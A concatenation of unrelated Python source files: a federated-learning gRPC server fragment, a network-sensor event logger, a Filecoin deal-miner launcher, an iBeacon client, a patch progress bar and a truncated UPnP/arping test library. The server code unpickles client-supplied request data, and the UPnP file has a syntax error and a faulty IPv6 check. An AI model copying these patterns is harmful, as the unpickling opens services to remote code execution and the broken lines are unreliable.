client = self.client_manager.validate_client(contribution.client, context)
if client is None:
response_comment = "Ignored the submit from invalid client. "
self.logger.info(response_comment)
shareable = Shareable()
shareable = shareable.from_bytes(proto_to_bytes(request.data["data"]))
shared_fl_context = pickle.loads(proto_to_bytes(request.data["fl_context"]))
job_id = str(shared_fl_context.get_prop(FLContextKey.CURRENT_RUN))
if job_id not in self.engine.run_processes.keys():
self.logger.info("ignored AuxCommunicate request since Server Engine isn't ready")
reply = make_reply(ReturnCode.SERVER_NOT_READY)
aux_reply = fed_msg.AuxReply()
aux_reply.data.CopyFrom(shareable_to_modeldata(reply, fl_ctx))
return aux_reply
fl_ctx.set_peer_context(shared_fl_context)
shareable.set_peer_props(shared_fl_context.get_all_public_props())
shared_fl_context.set_prop(FLContextKey.SHAREABLE, shareable, private=False)
topic = shareable.get_header(ReservedHeaderKey.TOPIC)
reply = self._aux_communicate(fl_ctx, shareable, shared_fl_context, topic)
# reply = self.engine.dispatch(topic=topic, request=shareable, fl_ctx=fl_ctx)
aux_reply = fed_msg.AuxReply()
aux_reply.data.CopyFrom(shareable_to_modeldata(reply, fl_ctx))
return aux_reply
def _aux_communicate(self, fl_ctx, shareable, shared_fl_context, topic):
try:
with self.engine.lock:
job_id = shared_fl_context.get_prop(FLContextKey.CURRENT_RUN)
command_conn = self.engine.get_command_conn(str(job_id))
if command_conn:
command_shareable = Shareable()
command_shareable.set_header(ServerCommandKey.PEER_FL_CONTEXT, shared_fl_context)
command_shareable.set_header(ServerCommandKey.TOPIC, topic)
command_shareable.set_header(ServerCommandKey.SHAREABLE, shareable)
data = {
ServerCommandKey.COMMAND: ServerCommandNames.AUX_COMMUNICATE,
ServerCommandKey.DATA: command_shareable,
}
command_conn.send(data)
return_data = command_conn.recv()
reply = return_data.get(ServerCommandKey.AUX_REPLY)
child_fl_ctx = return_data.get(ServerCommandKey.FL_CONTEXT)
fl_ctx.props.update(child_fl_ctx)
else:
reply = make_reply(ReturnCode.ERROR)
except BaseException:
self.logger.info("Could not connect to server runner process - asked client to end the run")
reply = make_reply(ReturnCode.COMMUNICATION_ERROR)
return reply
def Heartbeat(self, request, context):
with self.engine.new_context() as fl_ctx:
state_check = self.server_state.heartbeat(fl_ctx)
self._handle_state_check(context, state_check)
token = request.token
cn_names = context.auth_context().get("x509_common_name")
if cn_names:
client_name = cn_names[0].decode("utf-8")
else:
client_name = request.client_name
if self.client_manager.heartbeat(token, client_name, context):
self.tokens[token] = self.task_meta_info
if self.admin_server:
self.admin_server.client_heartbeat(token)
abort_runs = self._sync_client_jobs(request)
summary_info = fed_msg.FederatedSummary()
if abort_runs:
del summary_info.abort_jobs[:]
summary_info.abort_jobs.extend(abort_runs)
display_runs = ",".join(abort_runs)
self.logger.info(
f"These jobs: {display_runs} are not running on the server. "
f"Ask client: {client_name} to abort these runs."
)
return summary_info
def _sync_client_jobs(self, request):
client_jobs = request.jobs
server_jobs = self.engine.run_processes.keys()
jobs_need_abort = list(set(client_jobs).difference(server_jobs))
return jobs_need_abort
def Retrieve(self, request, context):
client_name = request.client_name
messages = self.admin_server.get_outgoing_requests(client_token=client_name) if self.admin_server else []
response = admin_msg.Messages()
for m in messages:
response.message.append(message_to_proto(m))
return response
def SendReply(self, request, context):
client_name = request.client_name
message = proto_to_message(request.message)
if self.admin_server:
self.admin_server.accept_reply(client_token=client_name, reply=message)
response = admin_msg.Empty()
return response
def SendResult(self, request, context):
client_name = request.client_name
message = proto_to_message(request.message)
processor = self.processors.get(message.topic)
processor.process(client_name, message)
response = admin_msg.Empty()
return response
def start_run(self, job_id, run_root, conf, args, snapshot):
# Create the FL Engine
workspace = Workspace(args.workspace, "server", args.config_folder)
self.run_manager = RunManager(
server_name=self.project_name,
engine=self.engine,
job_id=job_id,
workspace=workspace,
components=self.runner_config.components,
client_manager=self.client_manager,
handlers=self.runner_config.handlers,
)
self.engine.set_run_manager(self.run_manager)
self.engine.set_configurator(conf)
self.engine.asked_to_stop = False
fed_event_runner = ServerFedEventRunner()
self.run_manager.add_handler(fed_event_runner)
try:
self.server_runner = ServerRunner(config=self.runner_config, job_id=job_id, engine=self.engine)
self.run_manager.add_handler(self.server_runner)
self.run_manager.add_component("_Server_Runner", self.server_runner)
with self.engine.new_context() as fl_ctx:
if snapshot:
self.engine.restore_components(snapshot=snapshot, fl_ctx=FLContext())
fl_ctx.set_prop(FLContextKey.APP_ROOT, run_root, sticky=True)
fl_ctx.set_prop(FLContextKey.CURRENT_RUN, job_id, private=False, sticky=True)
fl_ctx.set_prop(FLContextKey.WORKSPACE_ROOT, args.workspace, private=True, sticky=True)
fl_ctx.set_prop(FLContextKey.ARGS, args, private=True, sticky=True)
fl_ctx.set_prop(FLContextKey.WORKSPACE_OBJECT, workspace, private=True)
fl_ctx.set_prop(FLContextKey.SECURE_MODE, self.secure_train, private=True, sticky=True)
fl_ctx.set_prop(FLContextKey.RUNNER, self.server_runner, private=True, sticky=True)
engine_thread = threading.Thread(target=self.run_engine)
engine_thread.start()
self.engine.engine_info.status = MachineStatus.STARTED
while self.engine.engine_info.status != MachineStatus.STOPPED:
if self.engine.asked_to_stop:
self.engine.engine_info.status = MachineStatus.STOPPED
time.sleep(3)
if engine_thread.is_alive():
engine_thread.join()
finally:
self.engine.engine_info.status = MachineStatus.STOPPED
self.engine.run_manager = None
self.run_manager = None
def abort_run(self):
with self.engine.new_context() as fl_ctx:
if self.server_runner:
self.server_runner.abort(fl_ctx)
def run_engine(self):
self.engine.engine_info.status = MachineStatus.STARTED
self.server_runner.run()
self.engine.engine_info.status = MachineStatus.STOPPED
def deploy(self, args, grpc_args=None, secure_train=False):
super().deploy(args, grpc_args, secure_train)
target = grpc_args["service"].get("target", "0.0.0.0:6007")
self.server_state.host = target.split(":")[0]
self.server_state.service_port = target.split(":")[1]
self.overseer_agent = self._init_agent(args)
if secure_train:
if self.overseer_agent:
self.overseer_agent.set_secure_context(
ca_path=grpc_args["ssl_root_cert"],
cert_path=grpc_args["ssl_cert"],
prv_key_path=grpc_args["ssl_private_key"],
)
self.overseer_agent.start(self.overseer_callback)
def _init_agent(self, args=None):
kv_list = parse_vars(args.set)
sp = kv_list.get("sp")
if sp:
with self.engine.new_context() as fl_ctx:
fl_ctx.set_prop(FLContextKey.SP_END_POINT, sp)
self.overseer_agent.initialize(fl_ctx)
return self.overseer_agent
def overseer_callback(self, overseer_agent):
if overseer_agent.is_shutdown():
self.engine.shutdown_server()
return
sp = overseer_agent.get_primary_sp()
# print(sp)
with self.engine.new_context() as fl_ctx:
self.server_state = self.server_state.handle_sd_callback(sp, fl_ctx)
if isinstance(self.server_state, Cold2HotState):
server_thread = threading.Thread(target=self._turn_to_hot)
server_thread.start()
if isinstance(self.server_state, Hot2ColdState):
server_thread = threading.Thread(target=self._turn_to_cold)
server_thread.start()
def _turn_to_hot(self):
# Restore Snapshot
with self.snapshot_lock:
fl_snapshot = self.snapshot_persistor.retrieve()
if fl_snapshot:
for run_number, snapshot in fl_snapshot.run_snapshots.items():
if snapshot and not snapshot.completed:
# Restore the workspace
workspace_data = snapshot.get_component_snapshot(SnapshotKey.WORKSPACE).get("content")
dst = os.path.join(self.workspace, WorkspaceConstants.WORKSPACE_PREFIX + str(run_number))
if os.path.exists(dst):
shutil.rmtree(dst, ignore_errors=True)
os.makedirs(dst, exist_ok=True)
unzip_all_from_bytes(workspace_data, dst)
job_id = snapshot.get_component_snapshot(SnapshotKey.JOB_INFO).get(SnapshotKey.JOB_ID)
job_clients = snapshot.get_component_snapshot(SnapshotKey.JOB_INFO).get(SnapshotKey.JOB_CLIENTS)
self.logger.info(f"Restore the previous snapshot. Run_number: {run_number}")
with self.engine.new_context() as fl_ctx:
job_runner = self.engine.job_runner
job_runner.restore_running_job(
run_number=run_number,
job_id=job_id,
job_clients=job_clients,
snapshot=snapshot,
fl_ctx=fl_ctx,
)
self.server_state = HotState(
host=self.server_state.host, port=self.server_state.service_port, ssid=self.server_state.ssid
)
def _turn_to_cold(self):
# Wrap-up server operations
self.server_state = ColdState(host=self.server_state.host, port=self.server_state.service_port)
def stop_training(self):
self.status = ServerStatus.STOPPED
self.logger.info("Server app stopped.\n\n")
def fl_shutdown(self):
self.engine.stop_all_jobs()
self.engine.fire_event(EventType.SYSTEM_END, self.engine.new_context())
super().fl_shutdown()
def close(self):
"""Shutdown the server."""
self.logger.info("shutting down server")
self.overseer_agent.end()
return super().close()
|
log.py | #!/usr/bin/env python
"""
Copyright (c) 2014-2017 Miroslav Stampar (@stamparm)
See the file 'LICENSE' for copying permission
"""
import os
import signal
import socket
import SocketServer
import sys
import threading
import time
import traceback
from core.common import check_whitelisted
from core.common import check_sudo
from core.enums import TRAIL
from core.settings import CEF_FORMAT
from core.settings import config
from core.settings import CONDENSE_ON_INFO_KEYWORDS
from core.settings import CONDENSED_EVENTS_FLUSH_PERIOD
from core.settings import DEFAULT_ERROR_LOG_PERMISSIONS
from core.settings import DEFAULT_EVENT_LOG_PERMISSIONS
from core.settings import HOSTNAME
from core.settings import NAME
from core.settings import TIME_FORMAT
from core.settings import TRAILS_FILE
from core.settings import VERSION
_thread_data = threading.local()
def create_log_directory():
if not os.path.isdir(config.LOG_DIR):
if check_sudo() is False:
exit("[!] please rerun with sudo/Administrator privileges")
os.makedirs(config.LOG_DIR, 0755)
print("[i] using '%s' for log storage" % config.LOG_DIR)
def get_event_log_handle(sec, flags=os.O_APPEND | os.O_CREAT | os.O_WRONLY, reuse=True):
retval = None
localtime = time.localtime(sec)
_ = os.path.join(config.LOG_DIR, "%d-%02d-%02d.log" % (localtime.tm_year, localtime.tm_mon, localtime.tm_mday))
if not reuse:
if not os.path.exists(_):
open(_, "w+").close()
os.chmod(_, DEFAULT_EVENT_LOG_PERMISSIONS)
retval = os.open(_, flags)
else:
if _ != getattr(_thread_data, "event_log_path", None):
if getattr(_thread_data, "event_log_handle", None):
try:
os.close(_thread_data.event_log_handle)
except OSError:
pass
if not os.path.exists(_):
open(_, "w+").close()
os.chmod(_, DEFAULT_EVENT_LOG_PERMISSIONS)
_thread_data.event_log_path = _
_thread_data.event_log_handle = os.open(_thread_data.event_log_path, flags)
retval = _thread_data.event_log_handle
return retval
def get_error_log_handle(flags=os.O_APPEND | os.O_CREAT | os.O_WRONLY):
if not hasattr(_thread_data, "error_log_handle"):
_ = os.path.join(config.LOG_DIR, "error.log")
if not os.path.exists(_):
open(_, "w+").close()
os.chmod(_, DEFAULT_ERROR_LOG_PERMISSIONS)
_thread_data.error_log_path = _
_thread_data.error_log_handle = os.open(_thread_data.error_log_path, flags)
return _thread_data.error_log_handle
def safe_value(value):
retval = str(value or '-')
if any(_ in retval for _ in (' ', '"')):
retval = "\"%s\"" % retval.replace('"', '""')
return retval
def log_event(event_tuple, packet=None, skip_write=False, skip_condensing=False):
try:
sec, usec, src_ip, src_port, dst_ip, dst_port, proto, trail_type, trail, info, reference = event_tuple
if not (any(check_whitelisted(_) for _ in (src_ip, dst_ip)) and trail_type != TRAIL.DNS): # DNS requests/responses can't be whitelisted based on src_ip/dst_ip
if not skip_write:
localtime = "%s.%06d" % (time.strftime(TIME_FORMAT, time.localtime(int(sec))), usec)
if not skip_condensing:
if (sec - getattr(_thread_data, "condensed_events_flush_sec", 0)) > CONDENSED_EVENTS_FLUSH_PERIOD:
_thread_data.condensed_events_flush_sec = sec
for key in getattr(_thread_data, "condensed_events", []):
condensed = False
events = _thread_data.condensed_events[key]
first_event = events[0]
condensed_event = [_ for _ in first_event]
for i in xrange(1, len(events)):
current_event = events[i]
for j in xrange(3, 7): # src_port, dst_ip, dst_port, proto
if current_event[j] != condensed_event[j]:
condensed = True
if not isinstance(condensed_event[j], set):
condensed_event[j] = set((condensed_event[j],))
condensed_event[j].add(current_event[j])
if condensed:
for i in xrange(len(condensed_event)):
if isinstance(condensed_event[i], set):
condensed_event[i] = ','.join(str(_) for _ in sorted(condensed_event[i]))
log_event(condensed_event, skip_condensing=True)
_thread_data.condensed_events = {}
if any(_ in info for _ in CONDENSE_ON_INFO_KEYWORDS):
if not hasattr(_thread_data, "condensed_events"):
_thread_data.condensed_events = {}
key = (src_ip, trail)
if key not in _thread_data.condensed_events:
_thread_data.condensed_events[key] = []
_thread_data.condensed_events[key].append(event_tuple)
return
current_bucket = sec / config.PROCESS_COUNT
if getattr(_thread_data, "log_bucket", None) != current_bucket: # log throttling
_thread_data.log_bucket = current_bucket
_thread_data.log_trails = set()
else:
if any(_ in _thread_data.log_trails for _ in ((src_ip, trail), (dst_ip, trail))):
return
else:
_thread_data.log_trails.add((src_ip, trail))
_thread_data.log_trails.add((dst_ip, trail))
event = "%s %s %s\n" % (safe_value(localtime), safe_value(config.SENSOR_NAME), " ".join(safe_value(_) for _ in event_tuple[2:]))
if not config.DISABLE_LOCAL_LOG_STORAGE:
handle = get_event_log_handle(sec)
os.write(handle, event)
if config.LOG_SERVER:
remote_host, remote_port = config.LOG_SERVER.split(':')
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto("%s %s" % (sec, event), (remote_host, int(remote_port)))
if config.SYSLOG_SERVER:
extension = "src=%s spt=%s dst=%s dpt=%s trail=%s ref=%s" % (src_ip, src_port, dst_ip, dst_port, trail, reference)
_ = CEF_FORMAT.format(syslog_time=time.strftime("%b %d %H:%M:%S", time.localtime(int(sec))), host=HOSTNAME, device_vendor=NAME, device_product="sensor", device_version=VERSION, signature_id=time.strftime("%Y-%m-%d", time.localtime(os.path.getctime(TRAILS_FILE))), name=info, severity=0, extension=extension)
remote_host, remote_port = config.SYSLOG_SERVER.split(':')
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(_, (remote_host, int(remote_port)))
if config.DISABLE_LOCAL_LOG_STORAGE and not any(config.LOG_SERVER, config.SYSLOG_SERVER) or config.console:
sys.stderr.write(event)
sys.stderr.flush()
if config.plugin_functions:
for _ in config.plugin_functions:
_(event_tuple, packet)
except (OSError, IOError):
if config.SHOW_DEBUG:
traceback.print_exc()
def log_error(msg):
try:
handle = get_error_log_handle()
os.write(handle, "%s %s\n" % (time.strftime(TIME_FORMAT, time.localtime()), msg))
except (OSError, IOError):
if config.SHOW_DEBUG:
traceback.print_exc()
def start_logd(address=None, port=None, join=False):
class ThreadingUDPServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer):
pass
class UDPHandler(SocketServer.BaseRequestHandler):
def handle(self):
try:
data, _ = self.request
sec, event = data.split(" ", 1)
handle = get_event_log_handle(int(sec), reuse=False)
os.write(handle, event)
os.close(handle)
except:
if config.SHOW_DEBUG:
traceback.print_exc()
server = ThreadingUDPServer((address, port), UDPHandler)
print "[i] running UDP server at '%s:%d'" % (server.server_address[0], server.server_address[1])
if join:
server.serve_forever()
else:
thread = threading.Thread(target=server.serve_forever)
thread.daemon = True
thread.start()
def set_sigterm_handler():
def handler(signum, frame):
log_error("SIGTERM")
raise SystemExit
if hasattr(signal, "SIGTERM"):
signal.signal(signal.SIGTERM, handler)
if __name__ != "__main__":
set_sigterm_handler()
|
swan_miner.py | import threading
from swan_miner_deal_downloader import downloader
from swan_miner_deal_importer import importer
from swan_miner_deal_scanner import scanner
if __name__ == "__main__":
swan_miner_downloader = threading.Thread(target=downloader)
swan_miner_importer = threading.Thread(target=importer)
swan_miner_scanner = threading.Thread(target=scanner)
swan_miner_downloader.start()
swan_miner_importer.start()
swan_miner_scanner.start() |
beacon_client.py | # -*- coding: utf-8 -*-
"""
Event server simple client
Waits for I-Beacons and sends messages
Temporary stores messages in file
MIT License
Copyright (c) 2017 Roman Mindlin
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
"""
import blescan
import sys
import time
import datetime
import requests
import threading
import math
import os
import const
import bluetooth._bluetooth as bluez
from beacon import Beacons
import processors
import logger
logger = logger.get_logger(__name__)
def getrange(txPower, rssi):
"https://stackoverflow.com/questions/20416218/understanding-ibeacon-distancing"
if txPower == 0:
txPower = 1
ratio = float(rssi) / txPower
if (ratio < 1.0):
return round(math.pow(ratio, 10))
else:
distance = (0.89976) * math.pow(ratio, 7.7095) + 0.111
return round(distance)
def getserial():
"Extract serial from cpuinfo file"
cpuserial = "0000000000000000"
try:
f = open('/proc/cpuinfo', 'r')
for line in f:
if line[0:6] == 'Serial':
cpuserial = line[10:26]
f.close()
except:
cpuserial = "ERROR000000000"
return cpuserial
def check_and_send(beacons, processor):
"Check if beacon wasn't seen during TIMEOUT and send it to server"
while True:
ready_to_send = list(beacons.ready_to_send())
for beacon in ready_to_send:
if beacon[-4:] == 'save':
uuid, major, minor = beacon.split(',')[1:4]
json = {
'raspi_serial': getserial(),
'ibeacon_uuid': uuid,
'ibeacon_major': str(major),
'ibeacon_minor': str(minor),
'in_time': beacons.in_time(beacon).isoformat(),
'out_time': beacons.out_time(beacon).isoformat(),
'min_dist': str(beacons.min_dist(beacon)),
'min_time': beacons.min_time(beacon).isoformat()
}
logger.debug("sending {},{},{}; min_dist = {}".format(uuid, major, minor, beacons.min_dist(beacon)))
try:
res = requests.post(const.SERVER_URL, json=json, timeout=2)
if res.ok:
logger.info("sent {},{},{}; min_dist = {}".format(uuid, major, minor, beacons.min_dist(beacon)))
beacons.remove(beacon)
processor.clear(beacon)
except:
logger.debug('Server not responding')
else:
beacons.add_preserve(beacon)
time.sleep(const.TIMEOUT)
def save_pkl(beacons):
"Saves beacons to file periodically"
while True:
beacons.save()
time.sleep(const.SAVE_TIMEOUT)
def correct_time():
"NTP client"
try:
import ntplib
client = ntplib.NTPClient()
response = client.request('pool.ntp.org')
os.system('date ' + time.strftime('%m%d%H%M%Y.%S', time.localtime(response.tx_time)))
if const.RTC:
os.system('hwclock -w') # Sync hardware RTC
logger.info('Time sync success')
except:
logger.error('Could not sync with time server.', exc_info=True)
def start(*args, **kwargs):
"Main loop"
logger.info("Raspberry serial: {}".format(getserial()))
if const.DUMP:
csv = open('data.csv', 'w')
if const.TIME_SYNC:
logger.info("Waiting for time sync")
time.sleep(10)
correct_time()
beacons = Beacons()
# processor = processors.Kalman()
processor = processors.OneSecondAverage()
timer_thread = threading.Thread(target=check_and_send, args=(beacons, processor))
timer_thread.daemon = True
timer_thread.start()
save_thread = threading.Thread(target=save_pkl, args=(beacons,))
save_thread.daemon = True
save_thread.start()
dev_id = 0
try:
sock = bluez.hci_open_dev(dev_id)
blescan.hci_le_set_scan_parameters(sock)
blescan.hci_enable_le_scan(sock)
logger.info("ble thread started")
except Exception as e:
logger.error('Error accessing bluetooth device', exc_info=True)
sys.exit(1)
try:
while True:
returnedList = blescan.parse_events(sock, 1)
for beacon in returnedList:
uuid, major, minor = beacon.split(',')[1:4]
if major in const.ALLOWED_MAJOR:
beacon_id = beacon[:-8]
if beacon_id[-2:] == ',,': # double comma at end of string
beacon_id = beacon_id[:-1]
beacon_datetime = datetime.datetime.now()
txpower = int(beacon.split(',')[4])
rssi = int(beacon.split(',')[5])
rssi = -99 if rssi < -99 else rssi # rssi peak fix
rssi_filtered = processor.filter(beacon_id, rssi)
if rssi_filtered is None:
continue
beacon_dist = getrange(txpower, rssi_filtered)
if const.DUMP:
csv.write(str(beacon_datetime) + ',')
csv.write(beacon + ',')
csv.write('{:.0f}'.format(beacon_dist) + '\n')
if beacon_dist < const.MAX_RANGE: # maximum range
beacons.add(beacon_id, beacon_datetime, beacon_dist)
except KeyboardInterrupt:
logger.warning("Ctrl-C pressed")
if const.DUMP:
csv.close()
sys.exit()
if __name__ == "__main__":
sys.exit(start(sys.argv))
|
patch_progress.py | # Copyright (c) Trainline Limited, 2017. All rights reserved. See LICENSE.txt in the project root for license information.
import time
import sys
import threading
import math
import datetime
import progressbar.utils
from progressbar import ProgressBar, FormatLabel, Timer, Bar, RotatingMarker, Percentage
class PatchProgress(object):
widgets = []
total_progress = 0
start_time = 0
def __init__(self):
self.stop_running = threading.Event()
self.progress_thread = threading.Thread(target=self.init_progress)
self.progress_thread.daemon = True
spinner = RotatingMarker()
spinner.INTERVAL = datetime.timedelta(milliseconds=100)
self.widgets = [spinner, ' ', Percentage(), ' ', FormatLabel('Calculating patch requirements'), ' ', Bar(), ' ', FormatLabel('')]
self.progress = ProgressBar(redirect_stdout=True, widgets=self.widgets, max_value=100)
self.progress.update(0)
def update(self, n_total, n_lc_updated, n_scaling_out, n_scaled_out, n_services_installed, n_scaling_in, n_complete, *args):
msg = '[Patching {0} ASGs]: '.format(n_total)
stages = []
if n_lc_updated is not 0:
stages.append('{0} Launch Configs Updated'.format(n_lc_updated))
if n_scaling_out is not 0:
stages.append('{0} Scaling Out'.format(n_scaling_out))
if n_scaled_out is not 0:
stages.append('{0} Installing Services'.format(n_scaled_out))
if n_scaling_in is not 0:
stages.append('{0} Scaling In'.format(n_scaling_in))
if n_complete is not 0:
stages.append('{0} Complete'.format(n_complete))
msg += ', '.join(stages)
self.widgets[4] = FormatLabel(msg)
t1 = (5 / n_total) * n_lc_updated
t2 = (10 / n_total) * n_scaling_out
t3 = (30 / n_total) * n_scaled_out
t4 = (70 / n_total) * n_services_installed
t5 = (75 / n_total) * n_scaling_in
t6 = (100 / n_total) * n_complete
self.total_progress = t1 + t2 + t3 + t4 + t5 + t6
def start(self, time):
self.start_time = datetime.datetime.strptime(time, '%Y-%m-%d %H:%M:%S.%f')
self.progress_thread.start()
def stop(self):
self.stop_running.set()
self.progress_thread.join()
def finish(self, total):
msg = '[Patching {0} ASGs]: {0} Complete'.format(total)
self.widgets[4] = FormatLabel(msg)
self.progress.finish()
def init_progress(self):
while not self.stop_running.is_set():
p = self.total_progress
if math.isnan(p) or p is None or p == 0:
p = 1
t = datetime.datetime.utcnow()
s = (t - self.start_time).total_seconds()
elapsed = progressbar.utils.format_time(s)
self.widgets[8] = FormatLabel('Elapsed Time: {0}'.format(elapsed))
self.progress.update(p)
time.sleep(0.2)
|
UpnpLibrary.py | #!/usr/bin/python
# -*- coding: utf-8 -*-
from __future__ import division
import re
import sys
import os
import subprocess
import threading
if __name__ != '__main__':
from robot.api import logger
else:
try:
from console_logger import LOGGER as logger
except ImportError:
import logging
logger = logging.getLogger('console_logger')
logger.setLevel(logging.DEBUG)
handler = logging.StreamHandler()
handler.setFormatter(logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s'))
logger.addHandler(handler)
def guess_ip_version(ip_string):
""" Guess the version of an IP address, check its validity
\param ip_string A string containing an IP address
\return The version of the IP protocol used (int(4) for IPv4 or int(6) for IPv6, int(0) otherwise)
"""
import socket
try:
ipv4_buffer = socket.inet_pton(socket.AF_INET, ip_string)
return 4
except socket.error:
pass
if socket.has_ipv6:
try:
ipv6_buffer = socket.inet_pton(socket.AF_INET, ip_string)
return 6
except socket.error:
pass
return 0
# The pythonic-version of arping below (using python scapy) is commented out because it cannot gain superuser rights via sudo, we should thus be root
# This would however be more platform-independent... instead, we run the arping command (via sudo) and parse its output
# import scapy.all
# def arping(iprange):
# """Arping function takes IP Address or Network, returns nested mac/ip list"""
#
# scapy.all.conf.verb=0
# ans,unans = scapy.all.srp(scapy.all.Ether(dst="ff:ff:ff:ff:ff:ff")/scapy.all.ARP(pdst=iprange), timeout=2)
#
# collection = []
# for snd, rcv in ans:
# result = rcv.sprintf(r"%scapy.all.ARP.psrc% %scapy.all.Ether.src%").split()
# collection.append(result)
# return collection
"""Global variable required for function arping() below"""
arping_supports_r_i = True
def arping(ip_address, interface=None, use_sudo = True, logger = None):
"""Run arping and returns a list of MAC addresses matching with the IP address provided in \p ip_address (or an empty list if there was no reply)
\param ip_address The IPv4 to probe
\param interface A network interface on which to probe (or None if we should check all network interfaces)
\param use_sudo Use sudo to run the arping command (set this to True if privilege elevation is required)
\return A list of MAC addresses matching with \p ip_address. Beware that this can be empty or even contain more than one entry
"""
global arping_supports_r_i
if guess_ip_version(str(ip_address)) != 4: # We have an IPv4 address
if logger is not None:
logger.warn('Arping: bad IPv4 format: ' + str(ip_address))
raise Exception('BadIPv4Format')
if use_sudo:
arping_cmd_prefix = ['sudo']
else:
arping_cmd_prefix = []
arping_cmd_prefix += ['arping', '-c', '1']
if arping_supports_r_i:
arping_cmd = arping_cmd_prefix + ['-r']
if not interface is None:
arping_cmd += ['-i', str(interface)]
arping_cmd += [str(ip_address)]
proc = subprocess.Popen(arping_cmd, stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb')) # Hide stderr since we may expect errors if we use the wrong args (depending on the arping version we are using)
result=[]
for line in iter(proc.stdout.readline,''):
result+=[line.rstrip()]
exitvalue = proc.wait()
#print('Result for arping:"' + str(result) + '"')
if exitvalue == 0:
return result
else:
arping_supports_r_i = False
# Some versions of arping coming from the iproute package do not support -r and use -I instead of -i
if not arping_supports_r_i:
arping_cmd = arping_cmd_prefix # Reset the command line that we started to build above
if not interface is None:
arping_cmd += ['-I', str(interface)]
arping_cmd += [str(ip_address)]
#print('Running command: ' + str(arping_cmd))
proc = subprocess.Popen(arping_cmd, stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb')) # We also hide stderr here because sudo may complain when it cannot resolve the local machine's hostname
result=[]
arping_header_regexp = re.compile(r'^ARPING')
arp_reply_template1_regexp = re.compile(r'^.*from\s+([0-9]+\.[0-9]+\.[0-9]+.[0-9]+)\s+\[([0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2})\]')
arp_reply_template2_regexp = re.compile(r'^.*from\s+([0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2})\s+[(]([0-9]+\.[0-9]+\.[0-9]+.[0-9]+)[)]')
arping_ip_addr = None
arping_mac_addr = None
for line in iter(proc.stdout.readline,''):
line = line.rstrip()
#print('arping:"' + str(line) + '"')
if not re.match(arping_header_regexp, line): # Skip the header from arping
#print('Trying to match line: "' + str(line) + '"')
match = re.match(arp_reply_template1_regexp, line)
if match:
arping_ip_addr = match.group(1)
arping_mac_addr = match.group(2)
break
match = re.match(arp_reply_template2_regexp, line)
if match:
arping_ip_addr = match.group(2)
arping_mac_addr = match.group(1)
break
if logger is not None:
logger.debug('Got no MAC address match on arping line "' + str(line= + '"'))
if logger is not None:
logger.debug('Arping returned: arping_mac_addr=' + str(arping_mac_addr) + ' for arping_ip_addr=' + str(arping_ip_addr))
if not arping_mac_addr is None:
if not arping_ip_addr is None:
if arping_ip_addr != str(ip_address):
if logger is not None:
logger.warn('Got a mismatch on IP address reply from arping: Expected ' + str(ip_address) + ', got ' + arping_ip_addr)
result+=[arping_mac_addr]
exitvalue = proc.wait()
if exitvalue == 0:
return result
else:
arping_supports_r_i = True # If we fail here, maybe a previous failure (that lead us to this arping does not support -r -i) was wrong... just reset our global arping guess
raise Exception('ArpingSubprocessFailed')
def mac_normalise(mac, unix_format=True):
"""\brief Convert many notation of a MAC address to to a uniform representation
\param mac The MAC address as a string
\param unix_format If set to true, use the UNIX representation, so would output: 01:23:45:67:89:ab
Example: mac_normalise('01.23.45.67.89.ab') == mac_normalise('01:23:45:67:89:ab') == mac_normalise('01-23-45-67-89-ab') == mac_normalise('0123456789ab') == '0123456789ab'
mac_normalise('01.23.45.67.89.ab') == '01:23:45:67:89:ab'
"""
ret = ''
mac = str(mac)
mac = mac.lower()
mac = mac.strip()
re_mac_one = re.compile(r'^(\w{2})[:|\-](\w{2})[:|\-](\w{2})[:|\-](\w{2})[:|\-](\w{2})[:|\-](\w{2})$')
re_mac_two = re.compile(r'^(\w{4})\.(\w{4})\.(\w{4})$')
re_mac_three = re.compile(r'^(\w{12})$')
one = re.match(re_mac_one, mac)
two = re.match(re_mac_two, mac)
tree = re.match(re_mac_three, mac)
if one:
select = one.groups()
elif two:
select = two.groups()
elif tree:
select = tree.groups()
else:
raise Exception('InvalidMACFormat:' + str(mac))
if unix_format:
delim=':'
else:
delim=''
return delim.join(select)
class UpnpBrowseDeviceEvent:
"""Class representing a device browse event (as output by script UpnpBrowse.py)"""
def __init__(self, entry_array):
"""\brief Class constructor
\param entry_array One line of output as provided by UpnpBrowse, formatted as a list of UTF-8 encoded strings
This method will raise exceptions if the entry_array cannot be parsed correctly, otherwise the UpnpBrowseDeviceEvent will be constructed properly.
The properties that are populated inside this class are:
self.interface The network interface on which the device has been discovered (following the OS notation, eg: 'eth0')
self.udn The UDN of the UPnP device (unique ID)
self.friendly_name The UPnP friendly name (displayed when browsing the network neighborhood)
self.location The URL of the xml device description
self.manufacturer The device manufacturer (if any)
self.manufacturer_url The device manufacturer's online URL (if any)
self.model_description A (human readable) model description of the device (if any)
self.model_name The model name of the device (if any)
self.model_number The model number (usually a product version, or revision) of the device (if any)
self.model_url An URL to an online device model description (if any)
self.presentation_url The URL to connect to when double-clicking on the device, usually showing status or configuration webpages (if any)
